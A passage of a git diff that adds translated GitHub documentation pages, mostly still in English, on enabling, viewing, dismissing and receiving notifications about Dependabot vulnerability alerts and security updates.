000000000000..ef9583be4496 --- /dev/null +++ b/translations/ru-RU/content/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts.md @@ -0,0 +1,110 @@ +--- +title: Configuring Dependabot alerts +intro: 'Enable {% data variables.product.prodname_dependabot_alerts %} to be generated when a new vulnerable dependency {% ifversion GH-advisory-db-supports-malware %}or malware {% endif %}is found in one of your repositories.' +shortTitle: Configure Dependabot alerts +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Dependabot + - Security updates + - Alerts + - Dependencies + - Pull requests + - Repositories +--- + +## About {% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies{% ifversion GH-advisory-db-supports-malware %} and malware{% endif %} + +{% data reusables.repositories.a-vulnerability-is %} + +{% data variables.product.prodname_dependabot %} scans code when a new advisory is added to the {% data variables.product.prodname_advisory_database %} or the dependency graph for a repository changes. When vulnerable dependencies{% ifversion GH-advisory-db-supports-malware %} or malware{% endif %} are detected, {% data variables.product.prodname_dependabot_alerts %} are generated. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts)." + +You can enable or disable {% data variables.product.prodname_dependabot_alerts %} for: +* Your personal account +* Your repository +* Your organization + +## Managing {% data variables.product.prodname_dependabot_alerts %} for your personal account + +{% ifversion fpt or ghec %} + +You can enable or disable {% data variables.product.prodname_dependabot_alerts %} for all repositories owned by your personal account. + +### Enabling or disabling {% data variables.product.prodname_dependabot_alerts %} for existing repositories + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.security-analysis %} +3. Under "Code security and analysis", to the right of {% data variables.product.prodname_dependabot_alerts %}, click **Disable all** or **Enable all**. + ![Screenshot of "Configure security and analysis" features with "Enable all" or "Disable all" buttons emphasized](/assets/images/help/dependabot/dependabot-alerts-disable-or-enable-all.png) +4. Optionally, enable {% data variables.product.prodname_dependabot_alerts %} by default for new repositories that you create. + ![Screenshot of "Enable Dependabot alerts" with "Enable by default for new private repositories" checkbox emphasized](/assets/images/help/dependabot/dependabot-alerts-enable-by-default.png) +5. Click **Disable {% data variables.product.prodname_dependabot_alerts %}** or **Enable {% data variables.product.prodname_dependabot_alerts %}** to disable or enable {% data variables.product.prodname_dependabot_alerts %} for all the repositories you own. + ![Screenshot of "Enable Dependabot alerts" with "Enable Dependabot alerts" button emphasized](/assets/images/help/dependabot/dependabot-alerts-enable-dependabot-alerts.png) + +When you enable {% data variables.product.prodname_dependabot_alerts %} for existing repositories, you will see any results displayed on GitHub within minutes. + +### Enabling or disabling {% data variables.product.prodname_dependabot_alerts %} for new repositories + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.security-analysis %} +3. Under "Code security and analysis", to the right of {% data variables.product.prodname_dependabot_alerts %}, enable or disable {% data variables.product.prodname_dependabot_alerts %} by default for new repositories that you create. + ![Screenshot of "Configure security and analysis" with "Enable for all new private repositories" check emphasized](/assets/images/help/dependabot/dependabot-alerts-enable-for-all-new-repositories.png) + +{% else %} +{% data variables.product.prodname_dependabot_alerts %} for your repositories can be enabled or disabled by your enterprise owner. For more information, see "[Enabling Dependabot for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)." + +{% endif %} + +## Managing {% data variables.product.prodname_dependabot_alerts %} for your repository + +{% ifversion fpt or ghec %}You can manage {% data variables.product.prodname_dependabot_alerts %} for your public, private or internal repository. + +By default, we notify people with admin permissions in the affected repositories about new {% data variables.product.prodname_dependabot_alerts %}. {% data variables.product.product_name %} never publicly discloses insecure dependencies for any repository. You can also make {% data variables.product.prodname_dependabot_alerts %} visible to additional people or teams working on repositories that you own or have admin permissions for. + +{% data reusables.security.security-and-analysis-features-enable-read-only %} + +### Enabling or disabling {% data variables.product.prodname_dependabot_alerts %} for a repository + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.navigate-to-code-security-and-analysis %} +1. Under "Code security and analysis", to the right of {% data variables.product.prodname_dependabot_alerts %}, click **Enable** to enable alerts or **Disable** to disable alerts. + ![Screenshot of "Code security and analysis" section with button to enable {% data variables.product.prodname_dependabot_security_updates %}](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-private.png) +{% endif %}{% ifversion ghes or ghae %} + +{% data variables.product.prodname_dependabot_alerts %} for your repository can be enabled or disabled by your enterprise owner. For more information, see "[Enabling Dependabot for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)." +{% endif %} + +## Managing {% data variables.product.prodname_dependabot_alerts %} for your organization +{% ifversion fpt or ghec %}You can enable or disable {% data variables.product.prodname_dependabot_alerts %} for all repositories owned by your organization. Your changes affect all repositories. + +### Enabling or disabling {% data variables.product.prodname_dependabot_alerts %} for all existing repositories + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.security-and-analysis %} +2. Under "Code security and analysis", to the right of {% data variables.product.prodname_dependabot_alerts %}, click **Disable all** or **Enable all**. + {% ifversion fpt or ghec %} + ![Screenshot of "Configure security and analysis" features with the "Enable all" or "Disable all" button emphasized for Dependabot alerts](/assets/images/help/dependabot/dependabot-alerts-disable-or-enable-fpt.png) + {% endif %} + {% ifversion ghae %} + !["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/enterprise/github-ae/organizations/security-and-analysis-disable-or-enable-all-ghae.png) + {% endif %} + {% ifversion fpt or ghec %} +3. Optionally, enable {% data variables.product.prodname_dependabot_alerts %} by default for new repositories in your organization. + {% ifversion fpt or ghec %} + ![Screenshot of "Enable by default" option for new repositories](/assets/images/help/dependabot/dependabot-alerts-enable-by-default-organizations.png) + {% endif %} + + {% endif %} + {% ifversion fpt or ghec %} +4. Click **Disable {% data variables.product.prodname_dependabot_alerts %}** or **Enable {% data variables.product.prodname_dependabot_alerts %}** to disable or enable {% data variables.product.prodname_dependabot_alerts %} for all the repositories in your organization. + {% ifversion fpt or ghec %} + ![Screenshot of "Enable Dependabot alerts" modal with button to disable or enable feature emphasized](/assets/images/help/dependabot/dependabot-alerts-enable-dependabot-alerts-organizations.png) + {% endif %}{% endif %}{% endif %}{% ifversion ghes or ghae %} +{% data variables.product.prodname_dependabot_alerts %} for your organization can be enabled or disabled by your enterprise owner. For more information, see "[About Dependabot for GitHub Enterprise Server](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)." +{% endif %} diff --git a/translations/ru-RU/content/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts.md b/translations/ru-RU/content/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts.md new file mode 100644 index 000000000000..fe75305ec37d --- /dev/null +++ b/translations/ru-RU/content/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts.md @@ -0,0 +1,70 @@ +--- +title: Configuring notifications for Dependabot alerts +shortTitle: Configure notifications +intro: 'Optimize how you receive notifications about {% data variables.product.prodname_dependabot_alerts %}.' +redirect_from: + - /github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies + - /code-security/supply-chain-security/configuring-notifications-for-vulnerable-dependencies + - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Dependabot + - Alerts + - Notifications + - Vulnerabilities + - Dependencies + - Repositories +--- + +## About notifications for {% data variables.product.prodname_dependabot_alerts %} + +When {% data variables.product.prodname_dependabot %} detects vulnerable dependencies{% ifversion GH-advisory-db-supports-malware %} or malware{% endif %} in your repositories, we generate a {% data variables.product.prodname_dependabot %} alert and display it on the Security tab for the repository. {% data variables.product.product_name %} notifies the maintainers of affected repositories about the new alert according to their notification preferences.{% ifversion fpt or ghec %} {% data variables.product.prodname_dependabot %} is enabled by default on all public repositories. For {% data variables.product.prodname_dependabot_alerts %}, by default, you will receive {% data variables.product.prodname_dependabot_alerts %} by email, grouped by the specific vulnerability. +{% endif %} + +{% ifversion fpt or ghec %}If you're an organization owner, you can enable or disable {% data variables.product.prodname_dependabot_alerts %} for all repositories in your organization with one click. You can also set whether {% data variables.product.prodname_dependabot_alerts %} will be enabled or disabled for newly-created repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-new-repositories-when-they-are-added)." +{% endif %} + +{% ifversion ghes or ghae %} +By default, if your enterprise owner has configured email for notifications on your enterprise, you will receive {% data variables.product.prodname_dependabot_alerts %} by email. + +Enterprise owners can also enable {% data variables.product.prodname_dependabot_alerts %} without notifications. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)." +{% endif %} + +## Configuring notifications for {% data variables.product.prodname_dependabot_alerts %} + +{% ifversion fpt or ghes or ghec %} +When a new {% data variables.product.prodname_dependabot %} alert is detected, {% data variables.product.product_name %} notifies all users with access to {% data variables.product.prodname_dependabot_alerts %} for the repository according to their notification preferences. You will receive alerts if you are watching the repository, have enabled notifications for security alerts or for all the activity on the repository, and are not ignoring the repository. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)." +{% endif %} + +You can configure notification settings for yourself or your organization from the Manage notifications drop-down {% octicon "bell" aria-label="The notifications bell" %} shown at the top of each page. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)." + +{% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} +{% data reusables.notifications.vulnerable-dependency-notification-options %} + +{% ifversion update-notification-settings-22 %} +![Screenshot of {% data variables.product.prodname_dependabot_alerts %} options](/assets/images/help/dependabot/dependabot-notification-frequency.png){% endif %}{% ifversion ghes > 3.7 or ghae > 3.7 %} +![Screenshot of the {% data variables.product.prodname_dependabot_alerts %} options](/assets/images/help/enterprises/dependabot-alerts-options-no-UI.png){% endif %}{% ifversion ghes < 3.8 or ghae < 3.8 %} +![Screenshot of the {% data variables.product.prodname_dependabot_alerts %} options](/assets/images/help/notifications-v2/dependabot-alerts-options.png){% endif %} + + +{% note %} + +**Note:** You can filter your notifications on {% data variables.product.company_short %} to show {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)." + +{% endnote %} + +{% data reusables.repositories.security-alerts-x-github-severity %} For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)." + +## How to reduce the noise from notifications for {% data variables.product.prodname_dependabot_alerts %} + +If you are concerned about receiving too many notifications for {% data variables.product.prodname_dependabot_alerts %}, we recommend you opt into the weekly email digest, or turn off notifications while keeping {% data variables.product.prodname_dependabot_alerts %} enabled. You can still navigate to see your {% data variables.product.prodname_dependabot_alerts %} in your repository's Security tab. For more information, see "[Viewing and updating {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts)." + +## Further reading + +- "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)" +- "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#supported-is-queries)" diff --git a/translations/ru-RU/content/code-security/dependabot/dependabot-alerts/index.md b/translations/ru-RU/content/code-security/dependabot/dependabot-alerts/index.md new file mode 100644 index 000000000000..23d7fd0c9b3c --- /dev/null +++ b/translations/ru-RU/content/code-security/dependabot/dependabot-alerts/index.md @@ -0,0 +1,29 @@ +--- +title: Выявление уязвимостей в зависимостях проекта с помощью оповещений Dependabot +shortTitle: Dependabot alerts +intro: 'При обнаружении известных уязвимостей в зависимостях, которые использует проект, {% data variables.product.prodname_dependabot %} создает {% data variables.product.prodname_dependabot_alerts %}.' +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Dependabot + - Alerts + - Vulnerabilities + - Repositories + - Dependencies +children: + - /about-dependabot-alerts + - /configuring-dependabot-alerts + - /viewing-and-updating-dependabot-alerts + - /configuring-notifications-for-dependabot-alerts +ms.openlocfilehash: b9abda5288d4f0dfed2175b0e944c0d1bc48f3f7 +ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: '148114100' +--- + diff --git a/translations/ru-RU/content/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts.md b/translations/ru-RU/content/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts.md new file mode 100644 index 000000000000..94166566bd2e --- /dev/null +++ b/translations/ru-RU/content/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts.md @@ -0,0 +1,232 @@ +--- +title: Viewing and updating Dependabot alerts +intro: 'If {% data variables.product.product_name %} discovers insecure dependencies in your project, you can view details on the Dependabot alerts tab of your repository. Then, you can update your project to resolve or dismiss the alert.' +redirect_from: + - /articles/viewing-and-updating-vulnerable-dependencies-in-your-repository + - /github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository + - /code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository + - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository +permissions: 'Repository administrators and organization owners can view and update dependencies, as well as users and teams with explicit access.' +shortTitle: View Dependabot alerts +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Dependabot + - Security updates + - Alerts + - Dependencies + - Pull requests + - Repositories +--- + +{% data reusables.dependabot.beta-security-and-version-updates %} +{% data reusables.dependabot.enterprise-enable-dependabot %} + +Your repository's {% data variables.product.prodname_dependabot_alerts %} tab lists all open and closed {% data variables.product.prodname_dependabot_alerts %}{% ifversion fpt or ghec or ghes %} and corresponding {% data variables.product.prodname_dependabot_security_updates %}{% endif %}. You can{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} filter alerts by package, ecosystem, or manifest. You can {% endif %} sort the list of alerts, and you can click into specific alerts for more details. {% ifversion dependabot-bulk-alerts %}You can also dismiss or reopen alerts, either one by one or by selecting multiple alerts at once.{% else %}You can also dismiss or reopen alerts. {% endif %} For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." + +{% ifversion fpt or ghec or ghes %} +You can enable automatic security updates for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)." +{% endif %} + +{% ifversion fpt or ghec or ghes %} +## About updates for vulnerable dependencies in your repository + +{% data variables.product.product_name %} generates {% data variables.product.prodname_dependabot_alerts %} when we detect that your codebase is using dependencies with known security risks. For repositories where {% data variables.product.prodname_dependabot_security_updates %} are enabled, when {% data variables.product.product_name %} detects a vulnerable dependency in the default branch, {% data variables.product.prodname_dependabot %} creates a pull request to fix it. The pull request will upgrade the dependency to the minimum possible secure version needed to avoid the vulnerability. + +Each {% data variables.product.prodname_dependabot %} alert has a unique numeric identifier and the {% data variables.product.prodname_dependabot_alerts %} tab lists an alert for every detected vulnerability. Legacy {% data variables.product.prodname_dependabot_alerts %} grouped vulnerabilities by dependency and generated a single alert per dependency. If you navigate to a legacy {% data variables.product.prodname_dependabot %} alert, you will be redirected to a {% data variables.product.prodname_dependabot_alerts %} tab filtered for that package. {% endif %} + +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +You can filter and sort {% data variables.product.prodname_dependabot_alerts %} using a variety of filters and sort options available on the user interface. For more information, see "[Prioritizing {% data variables.product.prodname_dependabot_alerts %}](#prioritizing-across--data-variablesproductprodname_dependabot_alerts-)" below. + +## Prioritizing {% data variables.product.prodname_dependabot_alerts %} + +{% data variables.product.company_short %} helps you prioritize fixing {% data variables.product.prodname_dependabot_alerts %}. {% ifversion dependabot-most-important-sort-option %} By default, {% data variables.product.prodname_dependabot_alerts %} are sorted by importance. The "Most important" sort order helps you prioritize which {% data variables.product.prodname_dependabot_alerts %} to focus on first. Alerts are ranked based on their potential impact, actionability, and relevance. Our prioritization calculation is constantly being improved and includes factors like CVSS score, dependency scope, and whether vulnerable function calls are found for the alert. + +![Screenshot of Sort dropdown with "Most important" sort](/assets/images/help/dependabot/dependabot-alerts-sort-dropdown.png) +{% endif %} + +{% data reusables.dependabot.dependabot-alerts-filters %} + +In addition to the filters available via the search bar, you can sort and filter {% data variables.product.prodname_dependabot_alerts %} using the dropdown menus at the top of the alert list. The search bar also allows for full text searching of alerts and related security advisories. You can search for part of a security advisory name or description to return the alerts in your repository that relate to that security advisory. For example, searching for `yaml.load() API could execute arbitrary code` will return {% data variables.product.prodname_dependabot_alerts %} linked to "[PyYAML insecurely deserializes YAML strings leading to arbitrary code execution](https://github.com/advisories/GHSA-rprw-h62v-c2w7)" as the search string appears in the advisory description. + +{% endif %} + +{% ifversion dependabot-bulk-alerts %} + ![Screenshot of the filter and sort menus in the {% data variables.product.prodname_dependabot_alerts %} tab](/assets/images/help/graphs/dependabot-alerts-filters-checkbox.png){% elsif ghes = 3.5 %} +You can select a filter in a dropdown menu at the top of the list, then click the filter that you would like to apply. + ![Screenshot of the filter and sort menus in the {% data variables.product.prodname_dependabot_alerts %} tab](/assets/images/enterprise/3.5/dependabot/dependabot-alerts-filters.png){% endif %} + +{% ifversion dependabot-alerts-development-label %} +## Supported ecosystems and manifests for dependency scope + +{% data reusables.dependabot.dependabot-alerts-dependency-scope %} + +Alerts for packages listed as development dependencies are marked with the `Development` label on the {% data variables.product.prodname_dependabot_alerts %} page and are also available for filtering via the `scope` filter. + +![Screenshot showing the "Development" label in the list of alerts](/assets/images/help/repository/dependabot-alerts-development-label.png) + +The alert details page of alerts on development-scoped packages shows a "Tags" section containing a `Development` label. + +![Screenshot showing the "Tags" section in the alert details page](/assets/images/help/repository/dependabot-alerts-tags-section.png) + +{% endif %} + +{% ifversion dependabot-alerts-vulnerable-calls %} +## About the detection of calls to vulnerable functions + +{% data reusables.dependabot.vulnerable-calls-beta %} + +When {% data variables.product.prodname_dependabot %} tells you that your repository uses a vulnerable dependency, you need to determine what the vulnerable functions are and check whether you are using them. Once you have this information, then you can determine how urgently you need to upgrade to a secure version of the dependency. + +For supported languages, {% data variables.product.prodname_dependabot %} automatically detects whether you use a vulnerable function and adds the label "Vulnerable call" to affected alerts. You can use this information in the {% data variables.product.prodname_dependabot_alerts %} view to triage and prioritize remediation work more effectively. + +{% note %} + +**Note:** During the beta release, this feature is available only for new Python advisories created *after* April 14, 2022, and for a subset of historical Python advisories. {% data variables.product.prodname_dotcom %} is working to backfill data across additional historical Python advisories, which are added on a rolling basis. Vulnerable calls are highlighted only on the {% data variables.product.prodname_dependabot_alerts %} pages. + +{% endnote %} + +![Screenshot showing an alert with the "Vulnerable call" label](/assets/images/help/repository/dependabot-alerts-vulnerable-call-label.png) + +You can filter the view to show only alerts where {% data variables.product.prodname_dependabot %} detected at least one call to a vulnerable function using the `has:vulnerable-calls` filter in the search field. + +For alerts where vulnerable calls are detected, the alert details page shows additional information: + +- One or more code blocks showing where the function is used. +- An annotation listing the function itself, with a link to the line where the function is called. + +![Screenshot showing the alert details page for an alert with a "Vulnerable call" label](/assets/images/help/repository/review-calls-to-vulnerable-functions.png) + +For more information, see "[Reviewing and fixing alerts](#reviewing-and-fixing-alerts)" below. + +{% endif %} + +## Viewing {% data variables.product.prodname_dependabot_alerts %} + +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-security %} +{% data reusables.repositories.sidebar-dependabot-alerts %} +1. Optionally, to filter alerts, select a filter in a dropdown menu then click the filter that you would like to apply. You can also type filters into the search bar. For more information about filtering and sorting alerts, see "[Prioritizing {% data variables.product.prodname_dependabot_alerts %}](#prioritizing-across--data-variablesproductprodname_dependabot_alerts-)." +{%- ifversion dependabot-bulk-alerts %} + ![Screenshot of the filter and sort menus in the {% data variables.product.prodname_dependabot_alerts %} tab](/assets/images/help/graphs/dependabot-alerts-filters-checkbox.png){% else %} + ![Screenshot of the filter and sort menus in the {% data variables.product.prodname_dependabot_alerts %} tab](/assets/images/enterprise/3.5/dependabot/dependabot-alerts-filters.png){% endif %} +1. Click the alert that you would like to view.{% ifversion dependabot-bulk-alerts %} + ![Alert selected in list of alerts](/assets/images/help/graphs/click-alert-in-alerts-list-checkbox.png){% else %} + ![Alert selected in list of alerts](/assets/images/enterprise/3.5/dependabot/click-alert-in-alerts-list-ungrouped.png){% endif %} + +{% else %} +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-security %} +{% data reusables.repositories.sidebar-dependabot-alerts %} +1. Click the alert you'd like to view. + ![Alert selected in list of alerts](/assets/images/help/graphs/click-alert-in-alerts-list.png) +{% endif %} + +## Reviewing and fixing alerts + +It’s important to ensure that all of your dependencies are clean of any security weaknesses. When {% data variables.product.prodname_dependabot %} discovers vulnerabilities {% ifversion GH-advisory-db-supports-malware %}or malware{% endif %} in your dependencies, you should assess your project’s level of exposure and determine what remediation steps to take to secure your application. + +If a patched version of the dependency is available, you can generate a {% data variables.product.prodname_dependabot %} pull request to update this dependency directly from a {% data variables.product.prodname_dependabot %} alert. If you have {% data variables.product.prodname_dependabot_security_updates %} enabled, the pull request may be linked will in the Dependabot alert. + +In cases where a patched version is not available, or you can’t update to the secure version, {% data variables.product.prodname_dependabot %} shares additional information to help you determine next steps. When you click through to view a {% data variables.product.prodname_dependabot %} alert, you can see the full details of the security advisory for the dependency including the affected functions. You can then check whether your code calls the impacted functions. This information can help you further assess your risk level, and determine workarounds or if you’re able to accept the risk represented by the security advisory. + +{% ifversion dependabot-alerts-vulnerable-calls %} + +For supported languages, {% data variables.product.prodname_dependabot %} detects calls to vulnerable functions for you. When you view an alert labeled as "Vulnerable call", the details include the name of the function and a link to the code that calls it. Often you will be able to take decisions based on this information, without exploring further. + +{% endif %} + +### Fixing vulnerable dependencies + +1. View the details for an alert. For more information, see "[Viewing {% data variables.product.prodname_dependabot_alerts %}](#viewing-dependabot-alerts)" (above). +{% ifversion fpt or ghec or ghes %} +1. If you have {% data variables.product.prodname_dependabot_security_updates %} enabled, there may be a link to a pull request that will fix the dependency. Alternatively, you can click **Create {% data variables.product.prodname_dependabot %} security update** at the top of the alert details page to create a pull request. + ![Create {% data variables.product.prodname_dependabot %} security update button](/assets/images/help/repository/create-dependabot-security-update-button-ungrouped.png) +1. Optionally, if you do not use {% data variables.product.prodname_dependabot_security_updates %}, you can use the information on the page to decide which version of the dependency to upgrade to and create a pull request to update the dependency to a secure version. +{% elsif ghae %} +1. You can use the information on the page to decide which version of the dependency to upgrade to and create a pull request to the manifest or lock file to a secure version. +{% endif %} +1. When you're ready to update your dependency and resolve the vulnerability, merge the pull request. + +{% ifversion fpt or ghec or ghes %} + Each pull request raised by {% data variables.product.prodname_dependabot %} includes information on commands you can use to control {% data variables.product.prodname_dependabot %}. For more information, see "[Managing pull requests for dependency updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands)." +{% endif %} + +## Dismissing {% data variables.product.prodname_dependabot_alerts %} + +{% tip %} + +**Tip:** You can only dismiss open alerts. +{% endtip %} + +If you schedule extensive work to upgrade a dependency, or decide that an alert does not need to be fixed, you can dismiss the alert. Dismissing alerts that you have already assessed makes it easier to triage new alerts as they appear. + +1. View the details for an alert. For more information, see "[Viewing vulnerable dependencies](#viewing-dependabot-alerts)" (above). +1. Select the "Dismiss" dropdown, and click a reason for dismissing the alert.{% ifversion reopen-dependabot-alerts %} Unfixed dismissed alerts can be reopened later.{% endif %} +{% ifversion dependabot-alerts-dismissal-comment %}1. Optionally, add a dismissal comment. The dismissal comment will be added to the alert timeline and can be used as justification during auditing and reporting. You can retrieve or set a comment by using the GraphQL API. The comment is contained in the `dismissComment` field. For more information, see "[{% data variables.product.prodname_dependabot_alerts %}](/graphql/reference/objects#repositoryvulnerabilityalert)" in the GraphQL API documentation. + ![Screenshot showing how to dismiss an alert via the "Dismiss" drop-down, with the option to add a dismissal comment](/assets/images/help/repository/dependabot-alerts-dismissal-comment.png) +1. Click **Dismiss alert**. +{% else %} + ![Choosing reason for dismissing the alert via the "Dismiss" drop-down](/assets/images/help/repository/dependabot-alert-dismiss-drop-down-ungrouped.png){% endif %} +{% ifversion dependabot-bulk-alerts %} + +### Dismissing multiple alerts at once + +1. View the open {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[Viewing {% data variables.product.prodname_dependabot_alerts %}](/en/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts#viewing-dependabot-alerts)". +2. Optionally, filter the list of alerts by selecting a dropdown menu, then clicking the filter that you would like to apply. You can also type filters into the search bar. +3. To the left of each alert title, select the alerts that you want to dismiss. + ![Screenshot of open alerts with checkboxes emphasized](/assets/images/help/graphs/select-multiple-alerts.png) +4. Optionally, at the top of the list of alerts, select all alerts on the page. + ![Screenshot of all open alerts selected](/assets/images/help/graphs/select-all-alerts.png) +5. Select the "Dismiss alerts" dropdown, and click a reason for dismissing the alerts. + ![Screenshot of open alerts page with "Dismiss alerts" drop-down emphasized](/assets/images/help/graphs/dismiss-multiple-alerts.png) + +{% endif %} + +{% ifversion reopen-dependabot-alerts %} + +## Viewing and updating closed alerts + +You can view all open alerts, and you can reopen alerts that have been previously dismissed. Closed alerts that have already been fixed cannot be reopened. + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-security %} +{% data reusables.repositories.sidebar-dependabot-alerts %} +1. To just view closed alerts, click **Closed**. + + {%- ifversion dependabot-bulk-alerts %} + ![Screenshot showing the "Closed" option](/assets/images/help/repository/dependabot-alerts-closed-checkbox.png) + {%- else %} + ![Screenshot showing the "Closed" option](/assets/images/help/repository/dependabot-alerts-closed.png) + {%- endif %} +1. Click the alert that you would like to view or update. + + {%- ifversion dependabot-bulk-alerts %} + ![Screenshot showing a highlighted dependabot alert](/assets/images/help/repository/dependabot-alerts-select-closed-alert-checkbox.png) + {%- else %} + ![Screenshot showing a highlighted dependabot alert](/assets/images/help/repository/dependabot-alerts-select-closed-alert.png) {%- endif %} +2. Optionally, if the alert was dismissed and you wish to reopen it, click **Reopen**. Alerts that have already been fixed cannot be reopened. + + {% indented_data_reference reusables.enterprise.3-5-missing-feature spaces=3 %} + ![Screenshot showing the "Reopen" button](/assets/images/help/repository/reopen-dismissed-alert.png) + +{% endif %} + +{% ifversion dependabot-bulk-alerts %} + +### Reopening multiple alerts at once + +1. View the closed {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[Viewing and updating closed alerts](/en/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts#viewing-and-updating-closed-alerts)" (above). +2. To the left of each alert title, select the alerts that you want to reopen. + ![Screenshot of closed alerts with checkboxes emphasized](/assets/images/help/repository/dependabot-alerts-open-checkbox.png) +3. Optionally, at the top of the list of alerts, select all closed alerts on the page. + ![Screenshot of closed alerts with all alerts selected](/assets/images/help/graphs/select-all-closed-alerts.png) +4. Click **Reopen** to reopen the alerts. Alerts that have already been fixed cannot be reopened. + ![Screenshot of closed alerts with "Reopen" button emphasized](/assets/images/help/graphs/reopen-multiple-alerts.png) + +{% endif %} diff --git a/translations/ru-RU/content/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates.md b/translations/ru-RU/content/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates.md new file mode 100644 index 000000000000..1885e6d0521b --- /dev/null +++ b/translations/ru-RU/content/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates.md @@ -0,0 +1,71 @@ +--- +title: About Dependabot security updates +intro: '{% data variables.product.prodname_dependabot %} can fix vulnerable dependencies for you by raising pull requests with security updates.' +shortTitle: Dependabot security updates +redirect_from: + - /github/managing-security-vulnerabilities/about-github-dependabot-security-updates + - /github/managing-security-vulnerabilities/about-dependabot-security-updates + - /code-security/supply-chain-security/about-dependabot-security-updates + - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates +versions: + fpt: '*' + ghec: '*' + ghes: '> 3.2' +type: overview +topics: + - Dependabot + - Security updates + - Vulnerabilities + - Repositories + - Dependencies + - Pull requests +--- + + + +{% data reusables.dependabot.beta-security-and-version-updates %} +{% data reusables.dependabot.enterprise-enable-dependabot %} + +## About {% data variables.product.prodname_dependabot_security_updates %} + +{% data variables.product.prodname_dependabot_security_updates %} make it easier for you to fix vulnerable dependencies in your repository. If you enable this feature, when a {% data variables.product.prodname_dependabot %} alert is raised for a vulnerable dependency in the dependency graph of your repository, {% data variables.product.prodname_dependabot %} automatically tries to fix it. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" and "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)." + +{% data variables.product.prodname_dotcom %} may send {% data variables.product.prodname_dependabot_alerts %} to repositories affected by a vulnerability disclosed by a recently published {% data variables.product.prodname_dotcom %} security advisory. {% data reusables.security-advisory.link-browsing-advisory-db %} + +{% data variables.product.prodname_dependabot %} checks whether it's possible to upgrade the 